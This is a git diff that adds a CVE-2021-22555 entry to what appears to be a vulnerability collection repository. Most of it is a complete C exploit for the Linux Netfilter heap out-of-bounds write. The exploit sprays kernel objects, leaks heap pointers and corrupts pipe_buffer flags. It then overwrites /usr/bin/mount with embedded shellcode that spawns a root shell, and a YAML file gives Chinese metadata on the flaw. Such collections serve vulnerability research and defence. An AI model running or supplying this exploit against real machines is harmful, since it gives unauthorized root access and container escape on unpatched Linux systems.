diff --git a/cve/linux-kernel/2021/CVE-2021-22555/README.md b/cve/linux-kernel/2021/CVE-2021-22555/README.md new file mode 100644 index 0000000000000000000000000000000000000000..f41fadd426aa2ffa8fb7b25248b684beef5a63f8 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-22555/README.md @@ -0,0 +1,11 @@ +# CVE-2021-22555 pipe version + +Using pipe-primitive to exploit CVE-2021-22555, so no kaslr leak nor smap smep ktpi bypass is needed :) + +(Q: What is pipe-primitive? A: https://github.com/veritas501/pipe-primitive) + +Tested on both Linux 4.15 and Linux 5.8 + +![](assets/tested_on_4.15.png) + +![](assets/tested_on_5.8.png) diff --git a/cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_4.15.png b/cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_4.15.png new file mode 100644 index 0000000000000000000000000000000000000000..94ecdc12b851e19d10bb36cc4a71dca864222069 Binary files /dev/null and b/cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_4.15.png differ diff --git a/cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_5.8.png b/cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_5.8.png new file mode 100644 index 0000000000000000000000000000000000000000..1c4448f048342d45ed2e12de8c8de75e8cd8d5d3 Binary files /dev/null and b/cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_5.8.png differ diff --git a/cve/linux-kernel/2021/CVE-2021-22555/exploit.c b/cve/linux-kernel/2021/CVE-2021-22555/exploit.c new file mode 100644 index 0000000000000000000000000000000000000000..96038f233df8b1749c92c0268325ee90854b656f --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-22555/exploit.c @@ -0,0 +1,608 @@ +/** + * CVE-2021-22555 exploit + * + * This exploit use pipe-primitive so no kaslr leak nor smap + * smep ktpi bypass is needed. + * + * Compile with: + * gcc exploit.c -o exploit -m32 -static -no-pie -s + * + * This exploit will overwrite /usr/bin/mount with suid-shell and + * execute it. BACKUP IT MANUALLY before running exploit, and + * RESTORE it quickly after exploit success. + * + * / $ /exp + * [+] STAGE 0: Initialization + * [*] Setup namespace sandbox ... + * [*] Initializing sockets and message queues ... + * [+] STAGE 1: Memory corruption + * [*] Spraying msg_a(0x1000) ... + * [*] Spraying msg_b(0x400) ... + * [*] Creating holes in msg_a (each 1024) ... + * [*] Triggering oob write ... + * [*] Searching for corrupted msg_a ... + * [*] fake_idx: 0x80f + * [*] real_idx: 0x7fa + * [+] STAGE 2: Leak chunk address + * [*] Freeing real msg_b ... + * [*] Spraying fake msg_b with evil m_ts ... + * [*] Leaking adjacent msg_b ... + * [*] ptr_adjacent_msg_a: 0xffff88801c2c2000 + * [*] Freeing fake msg_b ... + * [*] Spraying fake msg_b with evil next ... + * [*] Leaking adjacent msg_a ... + * [*] ptr_adjacent_msg_b: 0xffff88801b4c0400 + * [*] ptr_msg_b: 0xffff88801b4c0000 + * [+] STAGE 3: Do pipe primitive + * [*] Freeing fake msg_b ... + * [*] Spraying freeable fake msg_b ... + * [*] Freeing fake msg_b using fake_idx ... + * [*] Spraying pipe_buffer objects ... + * [*] Leaking and freeing pipe_buffer object ... + * [*] editing pipe_buffer ... + * [*] try to overwrite /usr/bin/mount + * [*] see if /usr/bin/mount changed + * [+] exploit success + * / # id + * uid=0(root) gid=0(root) groups=1000(ctf) + * + */ + +// clang-format on +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +// clang-format off +#include +// clang-format on + +#define logd(fmt, ...) dprintf(2, "[*] " fmt "\n", ##__VA_ARGS__) +#define logi(fmt, ...) dprintf(2, "[+] " fmt "\n", ##__VA_ARGS__) +#define loge(fmt, ...) dprintf(2, "[-] " fmt "\n", ##__VA_ARGS__) +#define die(fmt, ...) \ + do { \ + loge(fmt, ##__VA_ARGS__); \ + loge("Exit at line %d", __LINE__); \ + write(sync_pipe[1], "F", 1); \ + exit(1); \ + } while (0) + +#define PAGE_SIZE (0x1000) +#define SIZEOF_SKB_SHARED_INFO (0x140) +#define NUM_SOCKETS (4) +#define NUM_PIPES (256) +#define NUM_SKBUFFS (128) +#define NUM_MSQIDS (0x1000) +#define HOLE_STEP (0x400) + +#define MSG_TEXT_SIZE(x) ( \ + (x) - sizeof(struct msg_msg) - \ + sizeof(struct msg_msgseg) * (((x + PAGE_SIZE - 1) / PAGE_SIZE) - 1)) +#define MSG_A_RAW_SIZE (0x1000) +#define MSG_B_RAW_SIZE (0x400) +#define MSG_A_TEXT_SIZE MSG_TEXT_SIZE(MSG_A_RAW_SIZE) +#define MSG_B_TEXT_SIZE MSG_TEXT_SIZE(MSG_B_RAW_SIZE) +#define MTYPE_A (0x41) +#define MTYPE_B (0x42) +#define MTYPE_FAKE (0x43) +#define MSG_SIG (0x13371337) +#define PIPE_BUF_FLAG_CAN_MERGE (0x10) + +#define ATTACK_FILE "/usr/bin/mount" +const char attack_data[] = { + 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, + 0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, + 0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, + 0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75, + 0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31, + 0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68, + 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, + 0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, + 0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, + 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, + 0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, + 0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05}; + +struct list_head { + uint64_t next; + uint64_t prev; +}; + +struct msg_msg { + struct list_head m_list; + uint64_t m_type; + uint64_t m_ts; + uint64_t next; + uint64_t security; + char mtext[0]; +}; + +struct msg_msgseg { + uint64_t next; +}; + +struct typ_msg { + long mtype; + char mtext[0]; +}; + +struct typ_pipe_buffer { + uint64_t page; + uint32_t offset; + uint32_t len; + uint64_t ops; + uint32_t flags; + uint32_t padding1; + uint64_t private; +}; + +int sync_pipe[2]; +int sock; +int sock_pairs[NUM_SOCKETS][2]; +int pipes[NUM_PIPES][2]; +int msqid[NUM_MSQIDS]; +uint8_t msg_buffer[0x2000]; +struct typ_msg *msg_a = (struct typ_msg *)msg_buffer; +struct typ_msg *msg_b = (struct typ_msg *)msg_buffer; +int fake_idx = -1; +int real_idx = -1; +uint64_t ptr_adjacent_msg_a; + +uint8_t g_buff[0x2000]; + +void clean() { + for (int i = 0; i < NUM_MSQIDS; i++) { + if (i == fake_idx) + continue; + if (msgctl(msqid[i], IPC_RMID, NULL) < 0) + die("msgctl() fail"); + } +} + +void spray_pipe(const char *target_file) { + int fd = open(target_file, O_RDONLY); + if (fd < 0) { + die("open %s failed", target_file); + } + + for (int i = 0; i < NUM_PIPES; i++) { + if (pipe(pipes[i])) { + die("alloc pipe failed"); + } + + const unsigned pipe_size = fcntl(pipes[i][1], F_GETPIPE_SZ); + static char tmp_buff[0x1000]; + + /* fill the pipe completely; each pipe_buffer will now have + the PIPE_BUF_FLAG_CAN_MERGE flag */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r; + if (write(pipes[i][1], tmp_buff, n) != n) { + die("pipe write() fail"); + }; + r -= n; + } + + /* drain the pipe, freeing all pipe_buffer instances (but + leaving the flags initialized) */ + for (unsigned r = pipe_size; r > 0;) { + unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r; + if (read(pipes[i][0], tmp_buff, n) != n) { + die("pipe read() fail"); + } + + r -= n; + } + + write(pipes[i][1], tmp_buff, 0x100 + i); + + loff_t offset = 1; + ssize_t nbytes = splice(fd, &offset, pipes[i][1], NULL, 1, 0); + if (nbytes < 0) { + die("splice failed"); + } + } +} + +void free_skbuff_data(void *ptr, size_t size) { + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (read(sock_pairs[i][1], ptr, size) < 0) { + die("read from sock pairs failed"); + } + } + } +} + +void spray_skbuff_data(void *ptr, size_t size) { + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (write(sock_pairs[i][0], ptr, size) < 0) { + die("write to sock pairs failed"); + } + } + } +} + +void trigger_oob_write() { + // copied from origin exploit.c + struct __attribute__((__packed__)) { + struct ipt_replace replace; + struct ipt_entry entry; + struct xt_entry_match match; + char pad[0x108 + MSG_A_RAW_SIZE - 0x200 - 0x2]; + struct xt_entry_target target; + } data = {0}; + + data.replace.num_counters = 1; + data.replace.num_entries = 1; + data.replace.size = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target)); + data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target)); + data.entry.target_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad)); + data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad)); + strcpy(data.match.u.user.name, "icmp"); + data.match.u.user.revision = 0; + data.target.u.user.target_size = sizeof(data.target); + strcpy(data.target.u.user.name, "NFQUEUE"); + data.target.u.user.revision = 1; + + // Partially overwrite the adjacent buffer with 2 bytes of zero. + if (setsockopt(sock, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) { + if (errno == ENOPROTOOPT) { + die("ip_tables module is not loaded."); + } + } +} + +void init_unshare() { + int fd; + char buff[0x100]; + + // strace from `unshare -Urn xxx` + unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET); + + fd = open("/proc/self/setgroups", O_WRONLY); + snprintf(buff, sizeof(buff), "deny"); + write(fd, buff, strlen(buff)); + close(fd); + + fd = open("/proc/self/uid_map", O_WRONLY); + snprintf(buff, sizeof(buff), "0 %d 1", getuid()); + write(fd, buff, strlen(buff)); + close(fd); + + fd = open("/proc/self/gid_map", O_WRONLY); + snprintf(buff, sizeof(buff), "0 %d 1", getgid()); + write(fd, buff, strlen(buff)); + close(fd); +} + +void bind_cpu() { + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(0, &set); + if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { + die("sched_setaffinity() fail"); + } +} + +void init_sock() { + sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) { + die("socket() fail"); + } + + for (int i = 0; i < NUM_SOCKETS; i++) { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0) { + die("socketpair() fail"); + } + } +} + +void init_msq() { + for (int i = 0; i < NUM_MSQIDS; i++) { + msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); + if (msqid[i] < 0) { + die("msgget() fail"); + } + } +} + +void do_initialization() { + logd("Setup namespace sandbox ..."); + init_unshare(); + bind_cpu(); + + logd("Initializing sockets and message queues ..."); + init_sock(); + init_msq(); +} + +void do_memory_corruption() { + logd("Spraying msg_a(0x%x) ...", MSG_A_RAW_SIZE); + for (int i = 0; i < NUM_MSQIDS; i++) { + msg_a->mtype = MTYPE_A; + memset(msg_a->mtext, 0, MSG_A_TEXT_SIZE); + ((int *)msg_a->mtext)[0] = MSG_SIG; + ((int *)msg_a->mtext)[1] = i; + if (msgsnd(msqid[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) { + die("msgsnd() fail"); + } + } + + logd("Spraying msg_b(0x%x) ...", MSG_B_RAW_SIZE); + for (int i = 0; i < NUM_MSQIDS; i++) { + msg_b->mtype = MTYPE_B; + memset(msg_b->mtext, 0, MSG_B_TEXT_SIZE); + + ((int *)msg_b->mtext)[0] = MSG_SIG; + ((int *)msg_b->mtext)[1] = i; + if (msgsnd(msqid[i], msg_b, MSG_B_TEXT_SIZE, 0) < 0) { + die("msgsnd() fail"); + } + } + + logd("Creating holes in msg_a (each %d) ...", HOLE_STEP); + for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) { + if (msgrcv(msqid[i], msg_a, MSG_A_TEXT_SIZE, MTYPE_A, 0) < 0) { + die("msgrcv() fail"); + } + } + + logd("Triggering oob write ..."); + trigger_oob_write(); + + logd("Searching for corrupted msg_a ..."); + fake_idx = real_idx = -1; + for (int i = 0; i < NUM_MSQIDS; i++) { + if (i != 0 && (i % HOLE_STEP) == 0) { + continue; + } + if (msgrcv(msqid[i], msg_b, MSG_B_TEXT_SIZE, 1, MSG_COPY | IPC_NOWAIT) < 0) { + die("msgrcv()"); + } + if (((int *)msg_b->mtext)[0] != MSG_SIG) { + die("bad luck, corrupted msg_a not point to another msg_b"); + } + if (((int *)msg_b->mtext)[1] != i) { + fake_idx = i; + real_idx = ((int *)msg_b->mtext)[1]; + break; + } + } + + if (fake_idx == -1 && real_idx == -1) { + die("bad luck, can't find corrupted msg_a"); + } else { + /** + * fake_idx's msg_a has a corrupted next pointer, + * wrongly pointing to real_idx's msg_b. + */ + logd("fake_idx: 0x%x", fake_idx); + logd("real_idx: 0x%x", real_idx); + } +} + +void do_leak() { + logd("Freeing real msg_b ..."); + if (msgrcv(msqid[real_idx], msg_b, MSG_B_TEXT_SIZE, MTYPE_B, 0) < 0) { + die("msgrcv() fail"); + } + + logd("Spraying fake msg_b with evil m_ts ..."); + { + memset(g_buff, 0, sizeof(g_buff)); + struct msg_msg *p_fake_msg_b = (struct msg_msg *)g_buff; + p_fake_msg_b->m_list.next = 0xdead1111; + p_fake_msg_b->m_list.prev = 0xdead2222; + p_fake_msg_b->m_ts = MSG_A_TEXT_SIZE; + p_fake_msg_b->m_type = MTYPE_FAKE; + p_fake_msg_b->next = 0; + p_fake_msg_b->security = 0; + } + spray_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Leaking adjacent msg_b ..."); + memset(g_buff, 0, MSG_A_TEXT_SIZE); + if (msgrcv(msqid[fake_idx], g_buff, MSG_A_TEXT_SIZE, 1, MSG_COPY | IPC_NOWAIT) < 0) { + die("msgrcv() fail"); + } + struct msg_msg *p_adjacent_msg_b = (struct msg_msg *)(g_buff + sizeof(long) + MSG_B_RAW_SIZE - sizeof(struct msg_msg)); + if (((int *)&p_adjacent_msg_b->mtext)[0] != MSG_SIG) { + die("Could not leak adjacent msg_b"); + } + ptr_adjacent_msg_a = p_adjacent_msg_b->m_list.prev; + if ((ptr_adjacent_msg_a & 0xFFFF000000000FFF) != 0xFFFF000000000000) { + die("Could not leak adjacent msg_a ptr"); + } else { + logd("ptr_adjacent_msg_a: 0x%08" PRIx64, ptr_adjacent_msg_a); + } + + logd("Freeing fake msg_b ..."); + free_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Spraying fake msg_b with evil next ..."); + { + memset(g_buff, 0, sizeof(g_buff)); + struct msg_msg *p_fake_msg_b = (struct msg_msg *)g_buff; + p_fake_msg_b->m_list.next = 0xdead1111; + p_fake_msg_b->m_list.prev = 0xdead2222; + p_fake_msg_b->m_ts = MSG_TEXT_SIZE(0x1400); + p_fake_msg_b->m_type = MTYPE_FAKE; + p_fake_msg_b->next = ptr_adjacent_msg_a - sizeof(struct msg_msgseg); + p_fake_msg_b->security = 0; + } + + spray_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Leaking adjacent msg_a ..."); + if (msgrcv(msqid[fake_idx], g_buff, MSG_TEXT_SIZE(0x1400), 1, MSG_COPY | IPC_NOWAIT) < 0) { + die("msgrcv() fail"); + } + struct msg_msg *p_adjacent_msg_a = (struct msg_msg *)(g_buff + sizeof(long) + PAGE_SIZE - sizeof(struct msg_msg)); + if (((int *)&p_adjacent_msg_a->mtext)[0] != MSG_SIG) { + die("Could not leak adjacent msg_b"); + } + uint64_t ptr_adjacent_msg_b = p_adjacent_msg_a->m_list.next; + if ((ptr_adjacent_msg_b & 0xFFFF0000000003FF) != 0xFFFF000000000000) { + die("Could not leak adjacent msg_b ptr"); + } else { + logd("ptr_adjacent_msg_b: 0x%08" PRIx64, ptr_adjacent_msg_b); + } + + uint64_t ptr_msg_b = ptr_adjacent_msg_b - MSG_B_RAW_SIZE; + logd("ptr_msg_b: 0x%08" PRIx64, ptr_msg_b); +} + +void do_pipe_primitive() { + logd("Freeing fake msg_b ..."); + free_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Spraying freeable fake msg_b ..."); + { + memset(g_buff, 0, sizeof(g_buff)); + struct msg_msg *p_fake_msg_b = (struct msg_msg *)g_buff; + p_fake_msg_b->m_list.next = ptr_adjacent_msg_a; // <- ptr_msg_b + p_fake_msg_b->m_list.prev = ptr_adjacent_msg_a; // <- ptr_msg_b + p_fake_msg_b->m_ts = MSG_B_TEXT_SIZE; + p_fake_msg_b->m_type = MTYPE_FAKE; + p_fake_msg_b->next = 0; + p_fake_msg_b->security = 0; + } + + spray_skbuff_data(g_buff, MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO); + + logd("Freeing fake msg_b using fake_idx ..."); + if (msgrcv(msqid[fake_idx], g_buff, MSG_B_TEXT_SIZE, MTYPE_FAKE, 0) < 0) { + die("msgrcv() fail"); + } + + logd("Spraying pipe_buffer objects ..."); + spray_pipe(ATTACK_FILE); + + logd("Leaking and freeing pipe_buffer object ..."); + uint8_t bak_pipe_buff[0x400]; + uint8_t uaf_pipe_idx = -1; + uint64_t anon_pipe_buf_ops = 0; + { + size_t recv_size = MSG_B_RAW_SIZE - SIZEOF_SKB_SHARED_INFO; + memset(g_buff, 0, sizeof(g_buff)); + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (read(sock_pairs[i][1], g_buff, recv_size) < 0) { + die("sock read() fail"); + } + struct typ_pipe_buffer *ptr = (struct typ_pipe_buffer *)g_buff; + if (ptr[1].len == 1 && ptr[1].offset == 1) { + // find pipe_buffer + memcpy(bak_pipe_buff, ptr, sizeof(bak_pipe_buff)); + uaf_pipe_idx = ptr[0].len & 0xff; + } + } + } + } + if (uaf_pipe_idx < 0) { + die("can't find corrupted pipe_buffer"); + } + + logd("editing pipe_buffer ..."); + { + struct typ_pipe_buffer *ptr = (struct typ_pipe_buffer *)bak_pipe_buff; + ptr[1].flags = PIPE_BUF_FLAG_CAN_MERGE; // for kernel >= 5.8 + ptr[1].len = 0; + ptr[1].offset = 0; + ptr[1].ops = ptr[0].ops; // for kernel < 5.8 + } + spray_skbuff_data(bak_pipe_buff, sizeof(bak_pipe_buff) - SIZEOF_SKB_SHARED_INFO); + + logd("try to overwrite %s", ATTACK_FILE); + { + ssize_t nbytes = write(pipes[uaf_pipe_idx][1], attack_data, sizeof(attack_data)); + if (nbytes < 0) { + perror("write failed"); + die(); + } + if ((size_t)nbytes < sizeof(attack_data)) { + fprintf(stderr, "short write\n"); + die(); + } + } + + logd("see if %s changed", ATTACK_FILE); + { + int fd = open(ATTACK_FILE, O_RDONLY); + if (fd < 0) { + die("open attack file"); + } + char tmp_buffer[0x10]; + read(fd, tmp_buffer, 0x10); + uint32_t *ptr = (uint32_t *)(tmp_buffer + 9); + if (ptr[0] != 0x56565656) { + die("overwrite attack file failed: 0x%08x", ptr[0]); + } + } + logi("exploit success"); +} + +int main(void) { + pipe(sync_pipe); + + if (!fork()) { + logi("STAGE 0: Initialization"); + do_initialization(); + + logi("STAGE 1: Memory corruption"); + do_memory_corruption(); + + logi("STAGE 2: Leak chunk address"); + do_leak(); + + logi("STAGE 3: Do pipe primitive"); + do_pipe_primitive(); + + write(sync_pipe[1], "T", 1); + while (1) { + sleep(10); + } + } else { + char sync; + read(sync_pipe[0], &sync, 1); + if (sync == 'T') { + execl(ATTACK_FILE, ATTACK_FILE, NULL); + } + } + return 0; +} diff --git a/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml b/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml new file mode 100644 index 0000000000000000000000000000000000000000..485ec0dd909d56456bd1c052360b273389b3a6fc --- /dev/null +++ b/cve/linux-kernel/2021/yaml/CVE-2021-22555.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-22555 +source: https://github.com/veritas501/CVE-2021-22555-PipeVersion +info: + name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 + severity: 高危 + description: | + Linux Netfilter模块在实现IPT_SO_SET_REPLACE(或IP6T_SO_SET_REPLACE)setsockopt时,存在堆越界写入漏洞。该漏洞将允许本地用户通过用户名空间获取权限提升,在kCTF中被用于攻击Kubernetes Pod容器,实现容器逃逸。该漏洞已在Linux内核代码中存在15年。 + scope-of-influence: + v2.6.19-rc1~v5.12-rc7 + reference: + - http://www.cnnvd.org.cn/home/globalSearch?keyword=CVE-2021-22555 + - https://nvd.nist.gov/vuln/detail/CVE-2021-22555 + - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/x_tables.c?id=9fa492cdc160cd27ce1046cb36f47d3b2b1efa21 + - https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/x_tables.c?id=b29c457a6511435960115c0f548c4360d5f4801d + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2021-22555 + cwe-id: CWE-787 + tags: cve2021,权限提升,容器逃逸 \ No newline at end of file diff --git a/vulnerability_list.yaml b/vulnerability_list.yaml index 2d3b76a6cd05db47cfe5b95eda4582ffa23b3fe2..3d2b0df5d2f26cb7b02c6064d6dccbdbe8202119 100644 --- a/vulnerability_list.yaml +++ b/vulnerability_list.yaml @@ -3,6 +3,7 @@ cve: apache: - CVE-2020-9490 linux-kernel: + - CVE-2021-22555 - CVE-2022-34918 - CVE-2022-2639 - CVE-2022-0847